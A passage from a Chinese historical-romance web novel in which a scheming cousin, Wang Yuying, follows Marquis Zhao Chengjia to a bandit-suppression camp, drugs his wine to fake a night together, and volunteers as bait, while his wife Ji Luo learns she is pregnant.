赵倩桐不知纪萝这般举动是有何用意,只觉得她仿若在戏弄自己,于是更是恼火,正要发作,却听得隔壁传来说话声响。 而且,还是秦敬的声音。 她不由顿住,便听得那边道:“实在是我母亲病重,否则我如何忍心冷落了你?” 她的脸色微微有些发白,而隔壁又传来一女子声音,“我自然是知晓你心意的,罢了,我知道你是个孝顺的,原谅你了。” 秦敬顿了片刻,似乎在迟疑些什么,过了好一会才又传来声音,“母亲的病越发不好了,你手里头可还有些银子,我……我实在没法子了,不然也不会向你开口……” 听到这实在熟悉的说辞,赵倩桐心底窜上来的怒火早已压抑不住,她冷笑一声,竟是一转身就推门出去。 纪萝没想到她竟是打算直接去与那秦敬对峙,连忙要叫住她。 可赵倩桐这会儿火气上来了,又哪里还顾得上那么多,早已是用力推开了隔壁雅间的门。 纪萝无法,只得匆匆跟了上去。 赵倩桐一推开门,正好瞧见秦敬将那女子揽在怀中,两人举止这般亲密,是如何都说不清的。 眼见赵倩桐一脸怒气地大步上前来,秦敬的神色显然是有些慌乱的,而那女子除却慌乱之外,更多的是迷茫与不解。 她不认得赵倩桐,自然也不知这女子为何忽地闯入自己房间了。 “秦敬,你当真是好样的。”赵倩桐伸手拽住秦敬的衣襟,冷笑道:“你竟敢诓骗我?说什么这些时日要用心学习,怕见我会乱了心神,所以令我不要来见你,却不想你在这与旁人相会!” 说罢,她瞥了一眼旁边的那女子,“恐怕不是担心我影响了你温书,而是担心我影响了你与旁人私会罢?” 听到此处,旁边那女子哪里还有不明白的道理,她显然也不是个脾气好的,不等秦敬开口说些什么便质问道:“你与我说实话,她说的可是真的?” 秦敬对上二人的目光,冷汗已是涔涔地落了下来。 他向来相信自己的本事,更是以为这些女子都是些个蠢笨的,根本不觉得有朝一日可能会被这些女子拆穿真实面目,所以自然也不曾想过倘若被那些女子觉察真相又当如何应对了。 他艰难地张了张嘴,努力地想开口解释些什么,可最终却还是什么都说不出来。 他被赵倩桐抓了个正着,哪里还能有解释的说辞? 见他这副哑口无言的模样,赵倩桐心头火气更盛,竟是抬手狠狠地扇了秦敬一个耳光。 秦敬被打得有些发懵,可还不等他回过神来,一旁那女子也拽住了秦敬的头发,毫不留情面地对他动起手来。 纪萝过来时瞧见的便是这般景象。 她在门口立了片刻,而后默默地将门带上。 赵倩桐与那被诓骗的女子这会儿心里正觉憋屈,好生将这秦敬教训一通也是应当,只是她们二人毕竟还是未出阁的姑娘,这事若是落入旁人眼中怕是不好。 即便她们二人并不曾做错什么,可若传闻出去,可就管不了那些人如何言说了。 到底不是好事。 纪萝立在外间,偶尔能听得里间传来秦敬的痛呼声,不过声音很快被掩了下去,大约是赵倩桐或是另一女子捂住了他的嘴,令他无法发出太大的动响,想来也意识到这事不能为旁人所知晓吧。 芸枝也笑着道:“这秦敬作恶多端,今日被这般教训一通,可当真是大快人心!” 纪萝勉强点了点头,此时已是春日,她身上的外衫夹着绒,按理来说是不至于冷的。 可偏偏此时她却觉得周身有得冷意从骨缝中钻了进来,侵进了她的四肢百骸,令她浑身如同僵硬般动弹不得。 芸枝瞧出纪萝脸色越发不好,连忙要上前搀扶,可她到底是慢了一步,纪萝脸色苍白地倒了下去,而恰在此时,有一人快一步上前,正好将纪萝搀住。 *** 纪萝再醒来时,周遭是陌生的景象。 她有些茫然地看着素色的床帘怔愣着,却被身侧赵倩桐惊喜的声音拉回了思绪,“嫂子,你可算醒来了!” 纪萝才看见赵倩桐与芸枝正满脸关切地守在床边。 纪萝张了张嘴,许是因着太久没有说话的缘故,她嗓子里传来一阵干涩之感,却并未发出声音来。 芸枝意识到什么,连忙去倒了温热的茶水过来。 等纪萝饮下半杯茶水后,才算能勉强开口说话,她问道:“我这是怎么了?这里……应当还是重景楼罢?” 才醒来时她有些没回过神来,这会儿瞧了瞧左右,也反应过来了此时自己应当还在重景楼中。 赵倩桐连忙点了头,又一脸喜色道:“嫂子,方才已经有大夫来给你瞧过了,你猜那大夫如何说?” 从前要赵倩桐好声好气唤她一声可是不易,但如今她倒是一张口便唤她嫂子,倒是极为顺口。 纪萝正觉得有些好笑,却又听赵倩桐神神秘秘道:“那大夫说,嫂子你这是怀了身子!” 纪萝微微睁大了眼睛,下意识看向一旁芸枝,芸枝连连点头,再开口时声音里竟是带了些哽咽,“原来以为姑娘是着了凉,不想竟是有了身子,这下姑娘的日子总算能好过些了,老夫人也不会在拿这事来压着您了……” 虽说赵倩桐也在,可这会儿芸枝却是止不住情绪,依旧将心底的话说了出来。 不过显然赵倩桐也并不在意这些,她甚至安慰着芸枝,“这是好事,有什么可哭的,往后嫂子的日子会越过越好的。” 而纪萝不自觉将手放在平坦如初的小腹上,想到里间竟是有一个小小的生命,当真是一种极为奇异的感觉,她想起魏氏的那个女儿纪敏敏,心下更是柔软,她不由弯了弯唇。 她这会儿并不在意王氏如何说,也不在意纪家如何想,甚至连赵承嘉也并不在意。 只想着,在这腹中有了一个与她血脉相连的孩子,这是无论如何都斩不断的关系。 “大夫如何说?”纪萝这会儿身子虽已经并无不适了,可想 起方才那头晕目眩之感,还是少不得多问了一句,“孩子应当没事吧?” 芸枝摇头道:“无事,大夫只说是姑娘这几日太过奔波忙碌,未曾好好歇息才晕倒,方才已经开过养胎的方子,往后再注意多歇息便无大碍了。” 纪萝微微松了口气,而一旁赵倩桐听着这话却越发愧疚起来,“嫂子这些时日为了我的事费了不小心神,这事都怨我,偏偏我还误会了您,竟还将您当成仇敌,实在是太蠢了。” 纪萝还未醒过来时,芸枝便已经将有关秦敬之事的来龙去脉都与赵倩桐说了个清楚,赵倩桐原本听着心下就觉得愧疚,如今听得芸枝如此说,想着纪萝为了自己的事如此操心,偏偏自己不知感恩也就罢了,甚至还背地里算计了她,害得她差点出了事,于是更是惭愧。 她原本也是大大方方的性子,心底觉得愧疚,便索性趁着这个机会向纪萝道了歉。 纪萝既然决定帮她,当然也并不打算与她计较这些,只道:“过去的事咱们就不提了,我不放在心上,你也别往心里去。” 赵倩桐有些感动地点了头,又听纪萝接着道:“这孩子的事你可否帮我先瞒着,不要告诉旁人,就算是母亲那边也莫要说漏了嘴。” “为何?”赵倩桐有些奇怪,“母亲一心希望嫂子能尽快为兄长生个孩子,若是得知您怀了身子定是欢喜的,这样的好事,瞒着她做什么?” 纪萝垂眸有些不好意思地笑了笑,“我想等你兄长回来再亲自告诉他,若母亲知道了,怕是这事就人尽皆知了……” 纪萝的话还不曾说完,赵倩桐便一脸了然地点了点头,“我明白了,这样的喜事确实应当由嫂子亲自与兄长说才成。” 说罢,她又捂住嘴做了个噤声的动作,“放心,我定是会管住自己的嘴,谁也不说的!” 纪萝见她这副模样,不由笑了。 正说着,赵倩桐却想起什么来,她迟疑了片刻,到底还是压低了声音道:“嫂子如今怀了身子,确实应当小心些,特别是……是那个王玉盈。” 见纪萝眼神古怪地看了过来,赵倩桐也索性不再隐瞒,而是将当初王玉盈说的那些话尽数说了出来,“她那些话当时我听着就觉得不对,可因着正在气头上,倒是并未多想,可后边细细想来,她怕是存了故意挑拨的心思。” 说到此处,赵倩桐面色一变,声音也不由拔高,“难道她当真是对兄长存了心思?” 一旁芸枝冷笑一声道:“您不知道,其实这位表小姐还曾半夜遣自个的婢子过来说是她身子不舒服,要让侯爷过去瞧瞧呢!” 赵倩桐难以置信地看向芸枝,“她竟是这般不要脸面?” “谁说不是?”芸枝面露不屑道:“她这般做派,不知情的人还以为她已经嫁入侯府,过来是与我家姑娘争宠来了!” 赵倩桐也是颇为赞同地点了头,又道:“不过这事定是成不了的,就算母亲再如何喜欢她,也绝对不会应允了这事,她可是和离过一回的,哪里能入得了侯府?” 说罢,又认真与纪萝道:“只是如此嫂子更是要小心些,万一她存了害人心思,总要提防着些。” 纪萝自然是点头应着。 其实即便赵倩桐不多说,纪萝也知要小心着王玉盈。 并经许多时候她的心思甚至已经摆在了明面上,连挑衅的事也并不曾少做。 譬如那次提出要为赵承嘉纳妾之事…… 纪萝轻轻摇头,“既然我身子无恙,这会儿时辰应当也不早了,我们便先回侯府罢。” 赵倩桐自然点头应着,可正要上前来搀扶纪萝起身时候,却突然一拍脑门,道:“对了,还有一桩事差点忘记了。” “方才嫂子你晕倒在外边,是幸好得一位公子相帮,连大夫也是他的人请来的,这会儿他正在隔壁,我们要走的话怕是应当过去道声谢。” 纪萝这才知道有这一回事,自然点头道:“这是应当的。” 隔壁雅间。 谢元墨坐在案几旁,手中那本书已经停留在这一页许久。 恰有底下人前来禀报,说是隔壁的夫人已经醒了,要过来向他道谢。 他终于翻过了手中的书页,神色并无波动道:“不必了,只是举手之劳而已,你与那位夫人说,让她不必挂怀。” 底下人应了一声,转头对纪萝原模原样地传了话,“主子如今不便见夫人,只说让夫人不必挂心,只是一桩小事罢了。” 听着这话,纪萝自然也不好再勉强,她看了一眼那紧闭的房门,轻轻点了头道:“既如此,那我们也不打扰了,只是无论如何还烦请帮我们说句多谢。” 那下人又是应着,纪萝一行人才离开。 纪萝原本也想着或许应当拿些银子当作谢礼,可只见那来传话的人,她便知晓里间的那位主子应当不是寻常人物,若当真拿了银子当作谢礼,恐怕反而不好,所以到底没说出那话来。 纪萝等人走后,底下人才将纪萝的话带了回去,谢元墨听着这话又是怔了片刻,而后才让人退下。 *** 观荷院。 从几日前她知晓了赵承嘉已前去京郊剿匪,心底便一直惴惴不安。 她即便能耐住性子,可腹中孩子却是等不了的。 时日久了,她腹中孩子却是无论如何也藏不住的。 可偏偏赵承嘉人已经走了,她也无法将人拦下来,但若是要她这般等上一个月,那就当真一切都完了。 她这般想着,也是越发心焦。 直至一旁凝露忽地说了一句,“要等侯爷不回来,不若姑娘便过去?” 凝露这话说得大胆,一旁凝芳听得连忙止住她的话头,“这话如何能胡说?侯爷是去剿匪不是去游山玩水,姑娘跟着去万一要是出了什么岔子,那还了得?” 可王玉盈却已将这话听了进去,她唇边多了丝若有似无的笑意,“谁说会出岔子,这次剿匪,侯爷定然事事顺利。” 凝露与凝芳皆是一愣,显然不知王玉盈这般底气到底从何而来。 王玉盈转眸见她们二人皆是一脸茫然,也并未有与她们作些解释的念头,她已是作了决定,“我等不了那么久,看来只能亲自去寻表哥了。” 上辈子她已经将这些事经历过一回,虽不知其中细节,可却清楚的知晓结果。 京郊剿匪非常顺利,一月后,便能风光回京。 所以此行并不会出什么岔子,甚至她还能借着这个机会多与赵承嘉单独相处,没有了旁人干扰,计划能顺利达成也未可知。 她如此想着,唇边笑意愈深。 可一旁凝芳面上却带了忧色,“可若是王老夫人知晓您要去侯爷身边,怕是不会答应……” 凝芳这话已是说得很是收敛,而实际上倘若王氏知晓此事,非但不会应下,恐怕不将王玉盈赶出去都算是好的。 如今王氏待她好是因着她的心思在王氏面前向来是隐藏得极好的,可若是她要去寻赵承嘉之事被王氏知晓,那她的心思也显然无法再藏,届时,王氏哪里还会这般好说话? 可王玉盈却并不担心,只道:“姑母自是不会答应,可也不算要紧事,我只与她说我是回了家,她又哪里知道我陪在侯爷身边?” 凝芳与凝露皆是一怔,过了片刻,凝芳才小心翼翼道:“可这事怕也是无法一直瞒着……” “那又如何?”王玉盈皱眉瞥了凝芳一眼,“等她知晓这事,恐怕我与侯爷早是木已成舟,她便是再如何不答应,也是无用了!” 凝芳猛然对上王玉盈几乎冷厉的目光,身子不由地一颤,也不敢再多说什么了,只垂首低声地应了个“是”。 王玉盈心底有了主意,更是一刻都不想再多等了。 翌日一早她便先去见过王氏。 王氏这几日都记挂着儿子,不说再像往日一般出去玩牌饮茶,连每日用的膳食都没了胃口。 王玉盈来见她时她只简单用过几口清粥小菜便令人将早膳尽数撤了下去,见王玉盈过来才算有了些精气神。 可王玉盈一心想着离开的事,于是一开口便道:“姑母,我怕是要归家几日。” 王氏原本就因着赵承嘉前去剿匪之事挂心不已,若有王玉盈这般贴心的侄女留在身边,也好歹能算有些慰藉。 但不想王玉盈却突然说要归家,王氏自然意外,“你与家中不是因着和离的事儿闹得很是不痛快,怎么突然又要回去?” “昨日家中传了消息过来。”王玉盈早已准备好了说辞,她拿帕子抹了抹眼角,声音中已然带了几分哽咽,“说是母亲近来身子有些不大好,让我回去看看。” 王氏一愣,“你母亲怎么了?” 王玉盈摇头道:“倒不是什么要紧的毛病,只是我想着家中既是传了消息过来,说明母亲应当心里也是记挂着我的,即便我再如何与她闹了变扭,可她到底是我的母亲,我如何能不回去?” 王氏也是做母亲的,听王玉盈这般说,心也不由得软了下来,“你是个好孩子,你父亲与母亲虽与你闹了矛盾,可想来心里还是牵挂着你的,既然此番你母亲病了,你也该回去瞧瞧。” 说到此处,她又叹了口气,“姑母这里自然是虽是欢迎你回来的,只是到底不算你自个的家,旁的地方再好,都总好不过你自己家中。” 听得王氏一番真情流露,王玉盈心底却始终未有波动,只是面上做出感动姿态来,一边应着一边道:“等过些时日,我再来看姑母。” 王氏又答应着,甚至在王玉盈临走前还又吩咐秋和取了一对镯子赠予她。 如此,王玉盈便顺利出了侯府。 她也算是个心思缜密的,出了侯府之后并非让马车直接往京郊方向去,而是刻意令那马车多绕了一圈,先是往王府的方向行了一段,后来才转了道往京郊去。 只是她从上京的街道中经过时,恰逢街道上有一行人吹吹打打,瞧着应当是一桩喜事。 街边传来的声音实在热闹,王玉盈便掀开帘子瞧了一眼,不想却正好瞧见坐在高头大马上那人,正是袁庆生。 王玉盈一下愣了神,从那日送来放妻书之后,袁庆生当真如同他所说的,再没有出现在王玉盈面前过。 这自然也是王玉盈所希望的。 可到底做了这么多年夫妻,当她亲眼看着袁庆生要娶旁人时,心底还是不由涌上一阵酸涩感。 至少上辈子,她是真心喜欢袁庆生的,不然也不会在所有人都反对之时义无反顾地嫁进袁家,可如今,她必须得走上另一条道路,那样的苦楚,她再也不要承受。 想到此处,她掩下帘子,任凭外间如何热闹也只当作听不见。 这一趟路程其实并不算太近,加之王玉盈怀有身子,即便她再如何着急赶路,却也不得不顾着些身子,如此,却是到了第六日,王玉盈方才赶到了赵承嘉领兵驻扎的所在。 无论是上辈子还是这辈子,王玉盈向来是被娇养着的,唯有上辈子被流放之时吃了些苦,所以这连着几日赶路,即便偶有歇息的时候,她也早觉得疲惫不堪。 这会儿也只是强撑着去见赵承嘉罢了。 那处驻扎的将士见了王玉盈等人,虽说有些奇怪,可见她不过是个弱女子,却也并未对她有怀疑心思,只上前道:“你们是路过此处的罢?这附近有山匪作祟,还是换条道吧!” 可王玉盈却摇头道:“我是来寻侯爷的。” “侯爷?”那人一愣,“你是说永宁侯?” 王玉盈轻轻点头,“你们的首领,应当是他罢?” 那人下意识多看了王玉盈几眼,才迟疑着点头道:“请问您是……” “我是……”王玉盈顿了片刻,忽地一笑道:“我是侯爷的家人。” 明明可以直言说是赵承嘉的表妹,可偏偏王玉盈却拐了个弯,将“表妹”二字说成了“家人”。 其实这话倒也并不曾有错,只是如此,却让她与赵承嘉二人之间的关系多了一层暧昧的意味。 果然,那人一听王玉盈如此说,便是一脸了然之色,道:“那您在此处稍等片刻,我这便进里间去向侯爷禀报。” 王玉盈自然应下。 那人便匆匆进了营帐,向赵承嘉禀明了此事。 赵承嘉闻言却皱眉道:“你是说是我夫人过来了?” 王玉盈这般年纪,又口口声声说是赵承嘉的家人,底下人将她错认为是赵承嘉的夫人也是正常。 可赵承嘉听着却只觉古怪,他知晓纪萝的性子,即便当真是遇上了什么事,也总会妥帖处理,绝不至于甚至不曾提前说一声人便已经先到了。 底下人见赵承嘉神色晦暗不明,一时也捉摸不透这位主子到底事如何想的,于是小心翼翼地试探着开口道:“夫人眼下还在外间等着,您看可要请她进来。” 方才与那位“侯夫人”说话时,他也瞧出她脸色似乎有些苍白,也不知是舟车劳顿还是身子有些不适的缘故。 只是不论是何种缘由,让那位夫人就这般在外间等着总是不好,所以他再度开口问了赵承嘉的安排。 人既是已经来了,赵承嘉也不好再多说什么,只能点了头道:“带她进来罢。” 底下人应了个“是”,很快去将王玉盈等人带了进来。 等外间人掀开帘子,赵承嘉也正好抬眸,等看清楚进来的女子面容,不由怔住,“怎么是你?” 第23章 赵承嘉令里间的人都退了下去,这营帐中便只余下他们二人。 赵承嘉便也不再掩饰自己的情绪,他皱眉看着眼前人,冷声道:“你怎么来了?你可知这些匪徒有多狡猾,被他们掳走的女子不计其数,你这般过来,若是被他们盯上怎么办?” 这话虽是责问,可却也分明是在意她的。 “我……”王玉盈紧咬下唇,吞吞吐吐了好一会,才好似下定决心道:“我想过来陪在你身边。” 她的目光炽热而坚定地落在赵承嘉身上,连里间隐晦的欲望也并无掩藏。 赵承嘉神色一顿,却是很快移开了目光,“我是来剿匪的,何须你陪在身边?” 他的话依旧是生硬的,但却连她的眼睛也不敢看。 心底那些隐秘的,不可示于人前的情动在微不可查地撩拨着,他好似隐约觉察到什么,又好似什么也不知。 王玉盈向前一步,语气是前所未有的坚定,“可是我想陪在你身边。” 这般话语已是几乎赤/裸地将她的心意言明,她声音软了下来,似是愧疚,又似委屈,“表哥,阿盈知道,你心里还是有我的,只是……只是阿盈伤了你的心,所以你才娶了旁人。” 赵承嘉听着这话,猛然抬起头来,他想说不是的,他对纪萝,也是有几分情意的。 可他张了张嘴,可那句反驳的话却无论如何都说不出口。 只听着王玉盈泪眼盈盈继续道:“可到底是阿盈做错了事,落得这般结局,阿盈本也应当受着,可每每想起表哥,阿盈总会想起我们二人从前的事,倘若不是阿盈受了那袁庆生蒙蔽,想来我们二人此时也已经成婚了罢……” 说到此处,她蓄在眸底的泪珠很合时宜地落了下来,“可偏偏表哥如今已经与旁人成了婚,阿盈心中即便再如何不甘心,却也不能夹在其中,反而令表哥为难,原本阿盈也想着放下这般心思,如同姑母所言那般,寻一个合适的人成了婚便也就罢了。” “可从得知表哥来京郊剿匪之后,阿盈便日日记挂着,到底是熬不住,所以即便再如何艰难,也还是想来见表哥。” 她用帕子拭去眼角的泪珠,“在这 军营中,没有纪氏,也没有姑母,没有任何旁人在,就唯有我们二人,这段时日……表哥,就让我陪在你身边罢。” 她在求他。 赵承嘉原本以为自己的心已经足够冷硬,可听得王玉盈这般放下姿态来央求着他,他的心还是止不住地软了下来。 他轻轻地叹了口气,语气有些无奈道:“眼下你既然已经来了,再要你回去恐怕更是不安全,你现在此处住下罢,等之后寻了空闲,我再安排人送你回去。” 赵承嘉此时虽未回应王玉盈的话,可却已经是松口让她留下。 虽然王玉盈想要得到的显然不止这些,可这事也唯有一步步来,若是操之过急,恐怕反而要出了岔子。 所以她也没再逼逼紧闭,而是乖顺地应了下来。 赵承嘉唤人进来给王玉盈安排了住处,王玉盈疲累了几日,这会儿也没再多作纠缠,跟着底下人去了隔壁的营帐中歇下。 而赵承嘉营帐中的烛火却燃了一夜。 剿匪之事远比他所想的要难上许多,还未来此处之前,他以为只要带着人将那些匪徒尽数围剿便能成事,可等当真来了此处,才觉察出不对来。 莫说别的,他驻扎在此处已近半月,可却连那些个匪徒的窝点到底在何处都不知晓, 如此,即便他再想着尽快剿灭匪徒也是有心而无力。 更糟糕的是那些匪徒全然不曾将他放在眼里,他驻扎在此处的这几日,附近依旧接连有女子失踪,他安排人前去搜寻,却是什么也寻不着。 眼下这消息还能瞒住,可时日久了,天子迟早会知晓这边情况,届时莫要说功劳了,不令他为此事谢罪便算是好的了。 所以赵承嘉这段时日也是万分心焦,这个机会于他而言本就难得,他是无论如何也要将这事办成的。 这日夜里,赵承嘉与底下两名将领商议了一整夜,却始终不曾商量出一个结果来,一夜过去,几人面上都尽是愁容。 赵承嘉有些疲惫地叹了口气道:“这事拖的时日越长,便越是容易出了岔子,眼下那些被掳走女子的家人都纷纷在官府闹腾,说是要让官府这边给个说服,时日久了,便是官府那边也是压不下去的。” 那两位将领皆是无奈点头,“可奈何我们用尽了各种法子,却始终寻不到那些贼人的老巢,否则只要将他们一锅端了,这事便也就了了!” 正说到此处,王玉盈却掀开帘帐走了进来。 她今日一早起来便亲手给赵承嘉熬了汤,可到了营帐前,却正好听得里间传来说话声响。 她的脚步下意识停住,便立在门口听了一会,这才知道赵承嘉如今面对的境况竟是这般糟糕。 她站在原地,竭力回想着上辈子有关京郊匪徒的事,也是头一回如此后悔彼时的自己竟是从未关心过朝局之事,偶尔得知的一些信息都只是与袁庆生闲谈之时听他提及的,旁的,她事当真一概不知了。 只是她又将袁庆生当日所言再回忆了一番,记得他似乎隐约说过,这次负责剿匪的首领立下了大功劳,不仅将那些匪徒尽数捉拿归案,甚至连被那些匪徒掳走的女子也都平安归家了,所以天子龙心大悦,给了不少奖赏。 想到此处,王玉盈心头生出一个大胆的念头来,或许眼下,她能帮上赵承嘉的忙。 想到此处,她一咬牙,掀开帘帐走了进去。 里间,赵承嘉与那两位将领的目光都落在了她身上。 赵承嘉还不曾来得及开口,就听得王玉盈道:“我有个法子,或许能帮你们寻着那些匪徒的老巢!” 这下三人皆是一愣,片刻后赵承嘉才道:“你说。” “你们方才不是说,那些匪徒依旧掳走许多女子。”王玉盈抿了抿唇,接着道:“只要他们也将我掳走,我再在沿途留下记号,便能帮你们指明他们老巢的所在。” 王玉盈的话音才落下,三人便一同开了口。 那两个将领皆是面露喜色,道:“好办法!” 可赵承嘉却毫不迟疑道:“不行!” 他眉头越发紧皱,盯着眼前人道:“你可知那些是如何穷凶极恶之人,落入到他们手里,你哪里还能活着回来?” 可王玉盈却头一回不肯顺了他的意,认真道:“可是眼下哪里还有旁的法子?” 一句话便噎得赵承嘉说不出话来。 那两个将领也皆是看着赵承嘉,显然是在等着他拿个主意。 赵承嘉只觉得头越发疼了,他叹了口气,道:“你们先退下吧,这事,容我再想想。” 那两个将领也不好再多说,只得退下。 而王玉盈却没有离开,她端着亲手炖的汤走到赵承嘉身边,柔声道:“表哥这些时日为了剿匪的事情耗费了不少心神,如今瞧着人也憔悴了许多,若是姑母见了表哥如今这般模样,定是要心疼的。” 可赵承嘉哪里还有胃口,他只看着眼前人,半晌,叹了口气道:“无论如何你到底是我……表妹,我如何能眼睁睁看着你去送死呢?” 在他看来,若是让王玉盈来做这个诱饵,那么便与让她去送死无异。 若是这事当真这般危险,王玉盈自是无论如何也不会愿意参与其中的,只是她上辈子曾经历过这事一回,所以心里明白她这一趟,定能平安归来。 赵承嘉如今看似与她关系缓和不少,可两人之间却总还是隔着什么,王玉盈心中明白,她过去做了太多伤害赵承嘉的事了,即便如今在如何用心想要弥补,恐怕也没那么容易。 而这次以身涉险,便是一个最好的机会。 此次之后,赵承嘉能看到她的心意,也会给她靠近的机会,届时,她腹中这个孩子,也能有个归属了罢。 于是王玉盈柔声道:“可我想为表哥做些什么。” 赵承嘉的身子一僵,又见王玉盈垂下眼眸,声音极轻道:“我知道这事对于表兄而言很是重要,我既来了,若能帮上忙自是最好。” 说罢,她竟是对着赵承嘉跪了下来,“还请表哥应允。” 她想帮他,甚至还跪了下来,求他给她一个帮他的机会。 赵承嘉的心底一片酸涩,一句话也说不出来。 他从前那般喜欢他的阿盈表妹,不就是因为他的阿盈表妹,向来是这副心底良善的模样? 不知过了多久,他才听得自己低声应了个“好”。 赵承嘉应下此事之后,军营中很快紧锣密鼓地开始安排起来。 他们准备了详细周全的计划,等王玉盈如计划般被匪徒掳走之后他们就顺着留下的记号寻到匪徒老巢,届时便能一网打尽。 而随着计划的那一日步步逼近,赵承嘉的心里也是越发烦躁。 分明一切都安排得极为顺利,可他心里却越发不好受。 偏偏有些事情不能宣之于口,他只能压在心底。 计划的前一日,赵承嘉在营帐中处理事务,可却无论如何都无法安定心神,越是逼着自己冷静下来,心底反而越发焦躁。 他想到王玉盈,想到从前的事,最终想到的却是明日的计划。 他心里清楚,纵然这计划表面上看来再如何严密,可这风险却是始终无法避免的,即便只有万分之一的几率,但只要落在王玉盈身上,那她便断无生还的可能…… 越是这般想着,他心下便越发不安起来,他心底生出一个有些逾矩的念头,他想去见见王玉盈。 就算只是与她说说话也好。 这个念头出现在他心底的一瞬,他猛地站起身来,大步往外间走去。 他不想再多想,也不敢再多想。 他只想见王玉盈。 可当他掀开帘帐的一瞬,却愣在了原地,因为王玉盈正立在营帐前。 “表哥。”王玉盈拎起她带来的那篮子酒菜,“表哥陪我喝几杯吗?” 今日是计划的前一日,王玉盈料定赵承嘉是不会拒绝的,果然,赵承嘉接过她手中那篮子酒菜,道:“进来罢。” 二人坐下,又将几碟子小菜端上了桌,王玉盈还起身特地给赵承嘉满满地斟了一杯酒。 赵承嘉的目光落在那杯酒上,顿了一 瞬,而后猛然将那杯酒饮尽。 王玉盈唇边的笑意愈深,又给赵承嘉满上酒水。 赵承嘉闷闷地饮下数杯酒水,直至脸上已经染上红晕,才含糊不清地开了口,“阿盈,我不想你去……” 这是他的心里话。 王玉盈听了这话,便这一回她没有做错选择,于是状似无意地贴近赵承嘉,那双柔软白皙的手覆在他的手上,“表哥,我愿意为你做任何事,即便明日我再回不来了,也心甘情愿……” 说罢,她见赵承嘉没有拒绝,便索性靠在了他肩上。 即便是从前王玉盈还不曾与袁庆生相识时,赵承嘉也不曾与她这般亲近过。 此时闻着她发间的香气,赵承嘉不由有些恍惚,随即思绪也变得混沌起来,他轻轻摇头,似乎想让自己变得清醒些,可头却越发沉得厉害,就连眼睛也睁不开了。 片刻后,他趴在桌上沉沉地睡了过去。 王玉盈试探着唤了他几声,见他迟迟不曾回应便知此事应当是成了,于是将他身上的衣衫尽数除去,又费劲地将他搀到了床榻上,再在他的身侧躺下。 闭上眼的前一瞬,王玉盈看着眼前这张熟悉的面容,一直悬起的心终于是能安定下来了。 翌日一早,赵承嘉再醒来时王玉盈已经离开,可一地杂乱的衣物以及他手中紧握着的锦帕都在昭示着昨晚发生的什么。 他捏了捏有些发疼的眉心,再穿戴齐整之后才出了营帐。 而此时的王玉盈已经依着计划换上了农女的衣衫,她看见赵承嘉,也只唤了声表哥之后便很快移开了目光来。 并未提及昨日夜里的事。 赵承嘉也自然不会提及昨夜的事,两日便极为默契地当作什么也不曾发生一般。 一切依旧按照原本计划进行,甚至比想象中还要顺利许多。 大约因为赵承嘉等人虽半月前便驻扎在此,可却始终未能成事,所以那些匪徒也不免越发嚣张,见王玉盈独自一人,自是毫不犹豫便将其掳走。 顺着王玉盈留下的痕迹,赵承嘉率兵直接将匪徒的老巢一锅端了。 而王玉盈因着才被那些匪徒抓回来不久,其实倒是并未受什么苦楚,只是她自己狠了心,捡起地上的刀子在肩膀处用力剜了一刀,这才算留了伤。 赶来的婢子凝芳瞧见这般景象顿时被吓得脸色惨白,连声音都变得结结巴巴,“姑……姑娘您这是……” 王玉盈冷冷瞥了她一眼,只道:“方才瞧见的,莫要与旁人说。” 凝芳自是不敢多言,慌忙点头应着。 王玉盈的神色这才缓和了过来,她忍下身上传来的疼痛感,对凝芳道:“还不过来扶着我!” 凝芳这才回了神,连忙搀扶着王玉盈离开。 赵承嘉知晓王玉盈受了伤之后更是满心愧疚,一心想过来看她,只是在王玉盈的营帐外守了许久最终只见凝芳过来传了句话说是男女授受不亲,她如今的模样,实在不适宜见赵承嘉。 赵承嘉却不肯就这般走了,竟是在那营帐外生生守到半夜,王玉盈估着时辰,这才让凝芳松了口。 一进里间,赵承嘉闻到的便是略有些刺鼻的血腥味与药草味,他下意识微微皱眉,再抬眼便看见王玉盈倚靠在床旁,面上已经是苍白到全然没了血色,她轻轻唤了一声,“表哥。” 这一下,让赵承嘉心底的愧疚到达了巅峰。 他抬手令凝芳退下,而后缓步上前走到王玉盈身旁,“阿盈,是我对不住你。” 王玉盈抬眸看着赵承嘉,而后轻轻摇头,“阿盈从前不懂事,做错了许多事,表哥愿意原谅阿盈,阿盈便已经是心满意足。” 赵承嘉沉默了一瞬,到底还是开口问出了那个压在他心底许久的问题,“那日夜里,我们是否……” 他的话没有说完,可王玉盈又怎会不明白他的意思,她没有直接回答,而是勉强挤出笑容,道:“无论那日夜里发生什么,我们都只当不曾发生过好么?” “表哥已经娶妻,阿盈也不敢再肖想什么,我们都只当那日夜里的一切,都尽是一场梦便好。” 赵承嘉张了张嘴,似乎想要说些什么,可最终竟也只是叹了口气。 他向来知道王玉盈的性子,是不会愿意为妾的,可若是要明媒正娶,那他便要先与纪萝和离,纪萝到底陪在他身边三载,若要和离,也总要个说得过去的由头,否则他的了功绩便要弃了糟糠妻,恐怕是于仕途有碍的。 如此,他也实在无法对王玉盈说出什么承诺来,最终也只能叹气罢了。 王玉盈见他当真顺着自己的话应下,心中若说没有失望定是假的,不过她也知此事着急不来,好在赵承嘉已经相信那一夜与她已经有过肌肤之亲,到底腹中这个孩子已经有了归属,也算没令她白费心思。 她心中思量着,又想起那块玉佩,于是便道:“表哥生辰那日,阿盈曾想赠与表哥一块玉佩,那块玉佩……” 王玉盈提及此事,原本是想让赵承嘉对她再有些愧疚,可不想赵承嘉却从怀中取出一块已经修复好的玉佩来,“这块玉佩我一直贴身放着,往后……也会一直贴身放着。” 王玉盈虽然知道赵承嘉心里定然还是有她的,可却不曾想到他竟是这般在意自己,那块廉价的玉佩,竟被他这般小心翼翼地贴身放着…… 她想起纪萝,想起纪萝那日赠与的比自己这块昂贵许多的玉佩,心头不由涌上一阵得意来,就算她占着正妻的位置又如何?就算她拿出的生辰礼比自己的贵重千百倍又如何?最终留在赵承嘉身边的,还不是自己赠予的这块廉价至极的玉佩? 所以有些东西价值如何,不在于物件本身,到底还是要看是何人所赠。 王玉盈顺势靠在赵承嘉的怀里,“有表哥这句话,阿盈即便今日死在那匪徒窝里,也甘愿了。” “有我在。”赵承嘉认真道:“绝不会让你再出事。” *** 回京之事原本是不能耽搁的,可因着王玉盈受伤,赵承嘉依旧拖了两日时间才启程回京,一路上更是对王玉盈颇多照料,竟是到了第七日才回到上京。 得知赵承嘉归来,王氏自是极为欢喜的。 她这些时日几乎日日要去祠堂求祖宗保佑,希望赵承嘉能平安归来。 如今得知他不仅平安无恙,甚至还立下了功绩,如何会不欢喜。 